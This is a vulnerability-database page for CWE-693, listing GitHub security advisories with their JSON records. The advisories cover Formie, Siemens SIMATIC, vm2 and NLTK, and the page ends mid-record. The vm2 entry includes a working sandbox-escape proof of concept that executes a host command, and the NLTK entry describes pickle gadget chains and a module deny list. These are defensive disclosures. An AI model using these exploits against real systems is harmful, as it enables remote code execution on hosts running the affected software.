Common Weakness Enumeration

CWE-693

Discouraged

Protection Mechanism Failure

Abstraction: Pillar · Status: Draft

API response cwe.mitre.org

The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product.

1321 vulnerabilities reference this CWE, most recent first.

GHSA-X7M9-MWC2-G6W2

Vulnerability from github – Published: 2026-05-18 17:23 – Updated: 2026-06-09 10:32
VLAI
Summary
Formie: Pre-authenticated server-side template injection in Hidden fields
Details

Impact

  • Unauthenticated users could submit crafted values into Hidden fields (with Default value → Custom) that were evaluated as Twig during submission handling, which could lead to serious compromise of the Craft site (depending on template/sandbox behavior).
  • Sites with public Formie forms that include at least one Hidden field with that configuration.
  • No CP login for the reported chain.

Patches

Workarounds

  • Temporarily remove Hidden fields from public forms or switch Hidden default away from Custom where feasible
  • Otherwise, upgrade to patched versions
Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "verbb/formie"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0-beta.1"
            },
            {
              "fixed": "3.1.24"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "verbb/formie"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.2.20"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45697"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-693",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-18T17:23:39Z",
    "nvd_published_at": "2026-05-29T20:16:27Z",
    "severity": "CRITICAL"
  },
  "details": "### Impact\n- Unauthenticated users could submit crafted values into Hidden fields (with Default value \u2192 Custom) that were evaluated as Twig during submission handling, which could lead to serious compromise of the Craft site (depending on template/sandbox behavior).\n- Sites with public Formie forms that include at least one Hidden field with that configuration.\n- No CP login for the reported chain.\n\n### Patches\n- [2.2.20](https://github.com/verbb/formie/releases/tag/2.2.20), [3.1.24](https://github.com/verbb/formie/releases/tag/3.1.24)\n\n### Workarounds\n- Temporarily remove Hidden fields from public forms or switch Hidden default away from Custom where feasible\n- Otherwise, upgrade to patched versions",
  "id": "GHSA-x7m9-mwc2-g6w2",
  "modified": "2026-06-09T10:32:38Z",
  "published": "2026-05-18T17:23:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/verbb/formie/security/advisories/GHSA-x7m9-mwc2-g6w2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45697"
    },
    {
      "type": "WEB",
      "url": "https://github.com/verbb/formie/commit/f690d5623163ce2a95da305238d6367575486ee3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/verbb/formie"
    },
    {
      "type": "WEB",
      "url": "https://github.com/verbb/formie/releases/tag/2.2.20"
    },
    {
      "type": "WEB",
      "url": "https://github.com/verbb/formie/releases/tag/3.1.24"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Formie: Pre-authenticated server-side template injection in Hidden fields"
}

GHSA-X7X2-6GW9-JG8M

Vulnerability from github – Published: 2025-03-11 12:30 – Updated: 2026-09-08 09:35
VLAI
Details

A vulnerability has been identified in SIMATIC Field PG M5 (All versions), SIMATIC Field PG M6 (All versions < V26.01.12), SIMATIC IPC BX-21A (All versions < V31.01.07), SIMATIC IPC BX-32A (All versions < V29.01.07), SIMATIC IPC BX-39A (All versions < V29.01.07), SIMATIC IPC BX-59A (All versions < V32.01.04), SIMATIC IPC PX-32A (All versions < V29.01.07), SIMATIC IPC PX-39A (All versions < V29.01.07), SIMATIC IPC PX-39A PRO (All versions < V29.01.07), SIMATIC IPC RC-543B (All versions), SIMATIC IPC RW-543A (All versions), SIMATIC IPC127E (All versions), SIMATIC IPC227E (All versions), SIMATIC IPC227G (All versions), SIMATIC IPC277E (All versions), SIMATIC IPC277G (All versions), SIMATIC IPC277G PRO (All versions), SIMATIC IPC3000 SMART V3 (All versions), SIMATIC IPC327G (All versions), SIMATIC IPC347G (All versions), SIMATIC IPC377G (All versions), SIMATIC IPC427E (All versions), SIMATIC IPC477E (All versions), SIMATIC IPC477E PRO (All versions), SIMATIC IPC527G (All versions), SIMATIC IPC627E (All versions < V25.02.15), SIMATIC IPC647E (All versions < V25.02.15), SIMATIC IPC677E (All versions < V25.02.15), SIMATIC IPC847E (All versions < V25.02.15), SIMATIC ITP1000 (All versions). The affected devices have insufficient protection mechanism for the EFI(Extensible Firmware Interface) variables stored on the device. This could allow an authenticated attacker to disable the BIOS password without proper authorization by directly communicate with the flash controller.

Severity
8.2 (High)
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
8.4 (High)
CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:H
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{
  "affected": [],
  "aliases": [
    "CVE-2024-56182"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-11T10:15:15Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability has been identified in SIMATIC Field PG M5 (All versions), SIMATIC Field PG M6 (All versions \u003c V26.01.12), SIMATIC IPC BX-21A (All versions \u003c V31.01.07), SIMATIC IPC BX-32A (All versions \u003c V29.01.07), SIMATIC IPC BX-39A (All versions \u003c V29.01.07), SIMATIC IPC BX-59A (All versions \u003c V32.01.04), SIMATIC IPC PX-32A (All versions \u003c V29.01.07), SIMATIC IPC PX-39A (All versions \u003c V29.01.07), SIMATIC IPC PX-39A PRO (All versions \u003c V29.01.07), SIMATIC IPC RC-543B (All versions), SIMATIC IPC RW-543A (All versions), SIMATIC IPC127E (All versions), SIMATIC IPC227E (All versions), SIMATIC IPC227G (All versions), SIMATIC IPC277E (All versions), SIMATIC IPC277G (All versions), SIMATIC\u00a0IPC277G PRO (All versions), SIMATIC IPC3000 SMART V3 (All versions), SIMATIC IPC327G (All versions), SIMATIC IPC347G (All versions), SIMATIC IPC377G (All versions), SIMATIC IPC427E (All versions), SIMATIC IPC477E (All versions), SIMATIC IPC477E PRO (All versions), SIMATIC IPC527G (All versions), SIMATIC IPC627E (All versions \u003c V25.02.15), SIMATIC IPC647E (All versions \u003c V25.02.15), SIMATIC IPC677E (All versions \u003c V25.02.15), SIMATIC IPC847E (All versions \u003c V25.02.15), SIMATIC ITP1000 (All versions). The affected devices have insufficient protection mechanism for the EFI(Extensible Firmware Interface) variables stored on the device. This could allow an authenticated attacker to disable the BIOS password without proper authorization by directly communicate with the flash controller.",
  "id": "GHSA-x7x2-6gw9-jg8m",
  "modified": "2026-09-08T09:35:27Z",
  "published": "2025-03-11T12:30:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-56182"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-216014.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-X965-FC75-JPQH

Vulnerability from github – Published: 2026-10-05 22:38 – Updated: 2026-10-05 22:38
VLAI
Summary
vm2 sandbox escape to host RCE via revisited host-wrapped AggregateError bypassing Error sanitization cycle short-circuit
Details

Summary

vm2 3.11.6 (this fork's latest release) contains an incomplete-fix bypass of the Error.cause host-reference sanitization added in GHSA-m283-3h24-438v (commit 7e3faaf). Sandbox code that catches a host-wrapped AggregateError which is revisited within a single handleException traversal (self-cycle, mutual-cycle, or the same host aggregate referenced twice in errors[]) receives a live, unsanitized host proxy inside the "sanitized" errors[], yielding full host RCE on the throw channel that the fix and Defense Invariant #3 explicitly promise to sanitize.

Root Cause

handleException (lib/setup-sandbox.js) breaks recursion cycles at line 1819 with if (apply(localWeakMapGet, visited, [e])) return e; — returning the RAW host carrier on revisit. For plain-Error carriers this is safe because sanitizeErrorCause/sanitizeHostOwnProps seal the host object in place on first visit. But sanitizeAggregateError (~1954-1972) snapshot-and-rebuilds host-wrapped carriers into a fresh LocalAggregateError and does NOT seal the original in place. When such a carrier is revisited within one traversal, line 1819 hands back the still-live raw host proxy, which the rebuild re-embeds via sanitizedArr[sanitizedArr.length] = handleException(item, visited) (line 1965) into the "sanitized" errors[].

Impact

Full host RCE (child_process.execSync) and host info disclosure (process.env, .pid) from within the vm2 sandbox — a complete sandbox escape on the caught-exception (throw) channel.

Proof of Concept

const {VM} = require('vm2');
const vm = new VM({ sandbox: { hostThrow(){
  const shared = new AggregateError([], 'shared');
  shared.leak = process;                                  // incidental host ref
  throw new AggregateError([shared, shared], 'all failed'); // same host obj twice
}}});
console.log(vm.run(`
  try { hostThrow(); } catch (e) {
    e.errors[1].leak.mainModule.require('child_process').execSync('id').toString();
  }`));                                                   // -> uid=1000(...) host RCE

Confirmed vectors (all return real id output): AggregateError self-cycle (agg.errors=[agg]; agg.leak=process), duplicate-in-array ([shared,shared]), mutual-cycle (a.errors=[b]; b.errors=[a]), and nested mutual/duplicated host sub-AggregateError.

Attack Chain

  1. Entry — embedder exposes a host function the sandbox invokes; it throws a host-wrapped AggregateError carrying a host reference in a rebuild-surviving slot plus a revisit trigger (agg.errors=[agg]; agg.leak=process). Guard: none at entry (throwing from an exposed host fn is normal). Bypass proof: same entry class as GHSA-m283-3h24-438v (embedder-exposed throwing fn, docs/ATTACKS.md Category 38), accepted in scope.
  2. Caught-exception sanitizer — sandbox try{hostThrow()}catch(e){…}; transformer routes e through handleException. Guard: Defense Invariant #3 (Aggregate/Suppressed nested fields sanitized with cycle detection). Bypass proof: handleException(agg) marks agg visited (1820); proto-walk routes to sanitizeAggregateError (1865); host-wrapped branch reads agg.errors and calls handleException(agg, visited) on element 0 (1965); that inner call hits visited.get(agg)===true → return e (1819) → raw agg proxy pushed into sanitizedArr → becomes newAgg.errors[0]. The rebuild does NOT seal agg in place, so the returned proxy is fully live.
  3. Sink — e.errors[0].leak.mainModule.require('child_process').execSync('id'). Guard: bridge get wraps host values. Bypass proof: the wrap is functional, not capability-restricting; instrumented trace shows e.errors[0].isProxy===true yet the chain executes and returns real uid=1000(ubuntu)....
  4. Impact — host RCE with host privileges; also process.env/.pid disclosure.

Bypass Evidence

Executed on node v22.23, vm2 3.11.6: - Baseline vector throw new Error('x',{cause:process}) (plain Error .cause) → BLOCKED - Plain Error own-prop e.leak=process (non-cyclic) → BLOCKED - Non-cyclic host AggregateError w/ own-prop or single host sub-error leak → BLOCKED - AggregateError self-cycle / duplicate-in-array / mutual-cycle / nested → RCE (uid=1000(ubuntu)…)

Every non-cyclic shape and the exact baseline cause vector are blocked; only the revisited host AggregateError leaks — proving the fix is present but this input shape evades it (INCOMPLETE FIX BYPASS, not a duplicate). Instrumented trace: outerLeakType="undefined" (outer rebuilt safe), isErrors0Proxy=true (element 0 is a live host proxy), rce=uid=1000(ubuntu)….

Affected Versions

<= 3.11.6. The bug exists from the sanitization fix (7e3faaf, tag 3.11.6) onward — an incomplete-fix bypass exists only where the fix exists. git diff 3.11.6 HEAD -- lib/setup-sandbox.js is empty (HEAD identical).

Scope Note

This advisory covers the AggregateError family only. A SuppressedError variant does NOT reproduce (se.error returns undefined; RCE blocked) and is excluded.

Suggested Fix

On the cycle short-circuit (line 1819), return the memoized sandbox-realm replacement (keyed in visited) rather than the raw carrier; OR seal host-wrapped AggregateError/SuppressedError carriers in place before recursing into sub-errors, mirroring the plain-carrier sanitizeHostOwnProps invariant.

Reported by zx (Jace) — GitHub: @manus-use

Severity
9.0 (Critical)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
9.5 (Critical)
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.11.7"
      },
      "package": {
        "ecosystem": "npm",
        "name": "vm2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.11.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-92934"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-05T22:38:04Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\nvm2 `3.11.6` (this fork\u0027s latest release) contains an incomplete-fix bypass of the Error.cause host-reference sanitization added in GHSA-m283-3h24-438v (commit `7e3faaf`). Sandbox code that catches a host-wrapped `AggregateError` which is *revisited within a single `handleException` traversal* (self-cycle, mutual-cycle, or the same host aggregate referenced twice in `errors[]`) receives a live, unsanitized host proxy inside the \"sanitized\" `errors[]`, yielding full host RCE on the throw channel that the fix and Defense Invariant #3 explicitly promise to sanitize.\n\n## Root Cause\n`handleException` (`lib/setup-sandbox.js`) breaks recursion cycles at line 1819 with `if (apply(localWeakMapGet, visited, [e])) return e;` \u2014 returning the RAW host carrier on revisit. For plain-`Error` carriers this is safe because `sanitizeErrorCause`/`sanitizeHostOwnProps` seal the host object **in place** on first visit. But `sanitizeAggregateError` (~1954-1972) snapshot-and-rebuilds host-wrapped carriers into a fresh `LocalAggregateError` and does NOT seal the original in place. When such a carrier is revisited within one traversal, line 1819 hands back the still-live raw host proxy, which the rebuild re-embeds via `sanitizedArr[sanitizedArr.length] = handleException(item, visited)` (line 1965) into the \"sanitized\" `errors[]`.\n\n## Impact\nFull host RCE (`child_process.execSync`) and host info disclosure (`process.env`, `.pid`) from within the vm2 sandbox \u2014 a complete sandbox escape on the caught-exception (throw) channel.\n\n## Proof of Concept\n```js\nconst {VM} = require(\u0027vm2\u0027);\nconst vm = new VM({ sandbox: { hostThrow(){\n  const shared = new AggregateError([], \u0027shared\u0027);\n  shared.leak = process;                                  // incidental host ref\n  throw new AggregateError([shared, shared], \u0027all failed\u0027); // same host obj twice\n}}});\nconsole.log(vm.run(`\n  try { hostThrow(); } catch (e) {\n    e.errors[1].leak.mainModule.require(\u0027child_process\u0027).execSync(\u0027id\u0027).toString();\n  }`));                                                   // -\u003e uid=1000(...) host RCE\n```\nConfirmed vectors (all return real `id` output): AggregateError self-cycle (`agg.errors=[agg]; agg.leak=process`), duplicate-in-array (`[shared,shared]`), mutual-cycle (`a.errors=[b]; b.errors=[a]`), and nested mutual/duplicated host sub-AggregateError.\n\n## Attack Chain\n1. **Entry** \u2014 embedder exposes a host function the sandbox invokes; it throws a host-wrapped `AggregateError` carrying a host reference in a rebuild-surviving slot plus a revisit trigger (`agg.errors=[agg]; agg.leak=process`). *Guard:* none at entry (throwing from an exposed host fn is normal). *Bypass proof:* same entry class as GHSA-m283-3h24-438v (embedder-exposed throwing fn, `docs/ATTACKS.md` Category 38), accepted in scope.\n2. **Caught-exception sanitizer** \u2014 sandbox `try{hostThrow()}catch(e){\u2026}`; transformer routes `e` through `handleException`. *Guard:* Defense Invariant #3 (Aggregate/Suppressed nested fields sanitized with cycle detection). *Bypass proof:* `handleException(agg)` marks `agg` visited (1820); proto-walk routes to `sanitizeAggregateError` (1865); host-wrapped branch reads `agg.errors` and calls `handleException(agg, visited)` on element 0 (1965); that inner call hits `visited.get(agg)===true` \u2192 `return e` (1819) \u2192 raw `agg` proxy pushed into `sanitizedArr` \u2192 becomes `newAgg.errors[0]`. The rebuild does NOT seal `agg` in place, so the returned proxy is fully live.\n3. **Sink** \u2014 `e.errors[0].leak.mainModule.require(\u0027child_process\u0027).execSync(\u0027id\u0027)`. *Guard:* bridge `get` wraps host values. *Bypass proof:* the wrap is functional, not capability-restricting; instrumented trace shows `e.errors[0].isProxy===true` yet the chain executes and returns real `uid=1000(ubuntu)...`.\n4. **Impact** \u2014 host RCE with host privileges; also `process.env`/`.pid` disclosure.\n\n## Bypass Evidence\nExecuted on node v22.23, vm2 `3.11.6`:\n- Baseline vector `throw new Error(\u0027x\u0027,{cause:process})` (plain Error `.cause`) \u2192 BLOCKED\n- Plain Error own-prop `e.leak=process` (non-cyclic) \u2192 BLOCKED\n- Non-cyclic host `AggregateError` w/ own-prop or single host sub-error leak \u2192 BLOCKED\n- **AggregateError self-cycle / duplicate-in-array / mutual-cycle / nested \u2192 RCE (`uid=1000(ubuntu)\u2026`)**\n\nEvery non-cyclic shape and the exact baseline `cause` vector are blocked; only the revisited host `AggregateError` leaks \u2014 proving the fix is present but this input shape evades it (INCOMPLETE FIX BYPASS, not a duplicate). Instrumented trace: `outerLeakType=\"undefined\"` (outer rebuilt safe), `isErrors0Proxy=true` (element 0 is a live host proxy), `rce=uid=1000(ubuntu)\u2026`.\n\n## Affected Versions\n`\u003c= 3.11.6`. The bug exists from the sanitization fix (`7e3faaf`, tag `3.11.6`) onward \u2014 an incomplete-fix bypass exists only where the fix exists. `git diff 3.11.6 HEAD -- lib/setup-sandbox.js` is empty (HEAD identical).\n\n## Scope Note\nThis advisory covers the **AggregateError** family only. A `SuppressedError` variant does NOT reproduce (`se.error` returns undefined; RCE blocked) and is excluded.\n\n## Suggested Fix\nOn the cycle short-circuit (line 1819), return the memoized sandbox-realm *replacement* (keyed in `visited`) rather than the raw carrier; OR seal host-wrapped `AggregateError`/`SuppressedError` carriers in place *before* recursing into sub-errors, mirroring the plain-carrier `sanitizeHostOwnProps` invariant.\n\n---\nReported by **zx (Jace)** \u2014 GitHub: @manus-use",
  "id": "GHSA-x965-fc75-jpqh",
  "modified": "2026-10-05T22:38:04Z",
  "published": "2026-10-05T22:38:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-x965-fc75-jpqh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-92934"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/commit/c8c232530b860cfecf6f94bc8d0d0890aa381460"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/patriksimek/vm2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.8"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/vm2-before-3.11.8-sandbox-escape-rce-via-aggregateerror"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "vm2 sandbox escape to host RCE via revisited host-wrapped AggregateError bypassing Error sanitization cycle short-circuit"
}

GHSA-X99W-6FGC-PMFW

Vulnerability from github – Published: 2026-09-08 16:42 – Updated: 2026-09-08 16:42
VLAI
Summary
NLTK: Allowlisted pickle loaders still permit code execution in current source
Details

Summary

The current source tree still allows arbitrary code execution during supposedly safer allowlisted pickle loading. The allowlist trusts whole module namespaces instead of exact safe globals, so crafted pickles can invoke dangerous in-namespace callables through pickle REDUCE.

Details

  • Vulnerability type: Remote code execution via unsafe deserialization
  • Affected component: nltk.picklesec.allowlisted_pickle_load, nltk.tokenize.punkt.punkt_pickle_load, nltk.parse.transitionparser.TransitionParser.parse
  • Affected versions: Current source v3.10.0-rc2; published 3.9.4 was not the claim target for this bypass.
  • Patched versions: Not yet patched
  • Root cause: Module-prefix allowlists include dangerous callables such as nltk.tokenize.repp.ReppTokenizer._execute and numpy.f2py.crackfortran.myeval.

punkt_pickle_load() allowlists both nltk.tokenize.punkt and the whole nltk.tokenize namespace, which exposes ReppTokenizer._execute() and its subprocess.Popen(...) sink during unpickling. TransitionParser.parse() uses allowlisted_pickle_load(..., allowed_modules=("numpy", "scipy", "sklearn")), which permits numpy.f2py.crackfortran.myeval() and its attacker-controlled eval(...) path. I confirmed both gadgets create marker files before the caller returns or later aborts on type misuse.

PoC

Preconditions - The application loads an attacker-controlled tokenizer or model artifact through these public loaders.

Steps 1. Create a pickle whose REDUCE callable is ReppTokenizer._execute and point its command to a harmless marker-file write. 2. Pass that payload to punkt_pickle_load(BytesIO(payload)) and observe the marker file is created during unpickling. 3. Create a second pickle whose REDUCE callable is numpy.f2py.crackfortran.myeval and load it through TransitionParser.parse(). 4. Observe the second marker file is created before TransitionParser.parse() later fails on the returned object type.

Minimal reproducible excerpt

{'punkt_marker': 'PUNKT_RCE', 'transitionparser_marker': 'TP_RCE'}

Impact

Any caller that trusts these current allowlisted loaders can still execute attacker-controlled commands while loading model or tokenizer artifacts. This defeats the protection mechanism that replaced unrestricted pickle loading and creates a dangerous false sense of safety.

Remediation

Replace broad module-prefix allowlists with exact (module, qualname) pairs for the few safe classes or functions genuinely required. Do not allow entire namespaces such as nltk.tokenize or numpy, and keep post-load type validation only as a secondary defense.

Resources

  • https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/tokenize/punkt.py#L120-L134
  • https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/tokenize/repp.py#L111-L115
  • https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/parse/transitionparser.py#L26-L30
  • https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/parse/transitionparser.py#L565-L571

Fix + attack demonstration (verified)

  • tightened callers find_class now, before the allowlists:
  • Rejects any dotted name → closes 4489 with zero legit impact.
  • Denies dangerous modules (os, subprocess, sys, builtins, numpy.f2py, nltk.tokenize.repp, …) even under a broad allowed_modules — a defense-in-depth backstop so a future too-broad allowlist can't silently reopen RCE.
  • builtins denied wholesale; safe primitives (int, str, …) must be named exactly via allowed_globals.

Callers tightened: punkt drops the broad nltk.tokenize (keeps nltk.tokenize.punkt + exact collections.defaultdict/builtins.int); transitionparser keeps numpy/scipy/sklearn (array unpickling needs their submodules) with the new guards blocking the gadgets.

Full pickle-sink audit

Every deserialization sink in the tree was reviewed: no raw pickle.load anywhere, and no joblib/numpy/torch/dill/yaml/marshal loaders. data.load + wordnet_app use RestrictedUnpickler (blocks all globals — safe); the remaining pickle_load sites (chartparser_app, tbl/demo) load user-selected or self-written files and keep their warning.

Attack demonstration (captured; fork clone)

=== EXPLOITS blocked ===
  4489 sklearn.os.system (dotted)      -> BLOCKED
  x99w numpy.f2py.crackfortran.myeval  -> BLOCKED
  x99w nltk.tokenize.repp._execute     -> BLOCKED
  backstop os.system (os allowlisted)  -> BLOCKED
  backstop builtins.eval (exact global)-> BLOCKED
=== LEGIT loads still work ===
  punkt round-trip via punkt_pickle_load -> OK
  builtins.int (safe primitive)          -> OK

Tests

test_pickle_allowlist_security.py — added 5 regressions (dotted traversal, both namespace gadgets, denied-module backstop, legit round-trip). Suite: 122 passed / 9 skipped (sklearn-dependent) across pickle/punkt/transition/tokenize. pre-commit (black/isort/ruff) clean.

Severity
9.3 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.10.2"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "nltk"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.10.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-79657"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-502",
      "CWE-693"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-08T16:42:57Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nThe current source tree still allows arbitrary code execution during supposedly safer allowlisted pickle loading. The allowlist trusts whole module namespaces instead of exact safe globals, so crafted pickles can invoke dangerous in-namespace callables through pickle REDUCE.\n\n### Details\n\n- **Vulnerability type:** Remote code execution via unsafe deserialization\n- **Affected component:** `nltk.picklesec.allowlisted_pickle_load`, `nltk.tokenize.punkt.punkt_pickle_load`, `nltk.parse.transitionparser.TransitionParser.parse`\n- **Affected versions:** Current source `v3.10.0-rc2`; published `3.9.4` was not the claim target for this bypass.\n- **Patched versions:** Not yet patched\n- **Root cause:** Module-prefix allowlists include dangerous callables such as `nltk.tokenize.repp.ReppTokenizer._execute` and `numpy.f2py.crackfortran.myeval`.\n\n`punkt_pickle_load()` allowlists both `nltk.tokenize.punkt` and the whole `nltk.tokenize` namespace, which exposes `ReppTokenizer._execute()` and its `subprocess.Popen(...)` sink during unpickling. `TransitionParser.parse()` uses `allowlisted_pickle_load(..., allowed_modules=(\"numpy\", \"scipy\", \"sklearn\"))`, which permits `numpy.f2py.crackfortran.myeval()` and its attacker-controlled `eval(...)` path. I confirmed both gadgets create marker files before the caller returns or later aborts on type misuse.\n\n### PoC\n\n**Preconditions**\n- The application loads an attacker-controlled tokenizer or model artifact through these public loaders.\n\n**Steps**\n1. Create a pickle whose REDUCE callable is `ReppTokenizer._execute` and point its command to a harmless marker-file write.\n2. Pass that payload to `punkt_pickle_load(BytesIO(payload))` and observe the marker file is created during unpickling.\n3. Create a second pickle whose REDUCE callable is `numpy.f2py.crackfortran.myeval` and load it through `TransitionParser.parse()`.\n4. Observe the second marker file is created before `TransitionParser.parse()` later fails on the returned object type.\n\n**Minimal reproducible excerpt**\n\n```text\n{\u0027punkt_marker\u0027: \u0027PUNKT_RCE\u0027, \u0027transitionparser_marker\u0027: \u0027TP_RCE\u0027}\n```\n\n### Impact\n\nAny caller that trusts these current allowlisted loaders can still execute attacker-controlled commands while loading model or tokenizer artifacts. This defeats the protection mechanism that replaced unrestricted pickle loading and creates a dangerous false sense of safety.\n\n### Remediation\n\nReplace broad module-prefix allowlists with exact `(module, qualname)` pairs for the few safe classes or functions genuinely required. Do not allow entire namespaces such as `nltk.tokenize` or `numpy`, and keep post-load type validation only as a secondary defense.\n\n### Resources\n\n- https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/tokenize/punkt.py#L120-L134\n- https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/tokenize/repp.py#L111-L115\n- https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/parse/transitionparser.py#L26-L30\n- https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/parse/transitionparser.py#L565-L571\n\n---\n\n## Fix + attack demonstration (verified)\n\n + tightened callers\n`find_class` now, before the allowlists:\n1. **Rejects any dotted `name`** \u2192 closes 4489 with zero legit impact.\n2. **Denies dangerous modules** (`os`, `subprocess`, `sys`, `builtins`, `numpy.f2py`, `nltk.tokenize.repp`, \u2026) even under a broad `allowed_modules` \u2014 a defense-in-depth **backstop** so a future too-broad allowlist can\u0027t silently reopen RCE.\n3. **`builtins` denied wholesale**; safe primitives (`int`, `str`, \u2026) must be named exactly via `allowed_globals`.\n\nCallers tightened: punkt drops the broad `nltk.tokenize` (keeps `nltk.tokenize.punkt` + exact `collections.defaultdict`/`builtins.int`); transitionparser keeps numpy/scipy/sklearn (array unpickling needs their submodules) with the new guards blocking the gadgets.\n\n## Full pickle-sink audit\nEvery deserialization sink in the tree was reviewed: **no raw `pickle.load`** anywhere, and **no** joblib/numpy/torch/dill/yaml/marshal loaders. `data.load` + `wordnet_app` use `RestrictedUnpickler` (blocks all globals \u2014 safe); the remaining `pickle_load` sites (`chartparser_app`, `tbl/demo`) load user-selected or self-written files and keep their warning.\n\n## Attack demonstration (captured; fork clone)\n```\n=== EXPLOITS blocked ===\n  4489 sklearn.os.system (dotted)      -\u003e BLOCKED\n  x99w numpy.f2py.crackfortran.myeval  -\u003e BLOCKED\n  x99w nltk.tokenize.repp._execute     -\u003e BLOCKED\n  backstop os.system (os allowlisted)  -\u003e BLOCKED\n  backstop builtins.eval (exact global)-\u003e BLOCKED\n=== LEGIT loads still work ===\n  punkt round-trip via punkt_pickle_load -\u003e OK\n  builtins.int (safe primitive)          -\u003e OK\n```\n\n## Tests\n`test_pickle_allowlist_security.py` \u2014 added 5 regressions (dotted traversal, both namespace gadgets, denied-module backstop, legit round-trip). Suite: 122 passed / 9 skipped (sklearn-dependent) across pickle/punkt/transition/tokenize. pre-commit (black/isort/ruff) clean.",
  "id": "GHSA-x99w-6fgc-pmfw",
  "modified": "2026-09-08T16:42:57Z",
  "published": "2026-09-08T16:42:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/security/advisories/GHSA-x99w-6fgc-pmfw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-79657"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/commit/c3e37113742a1ebeeb4f2ca58941f320f98805ea"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nltk/nltk"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/releases/tag/v3.10.3"
    },
    {
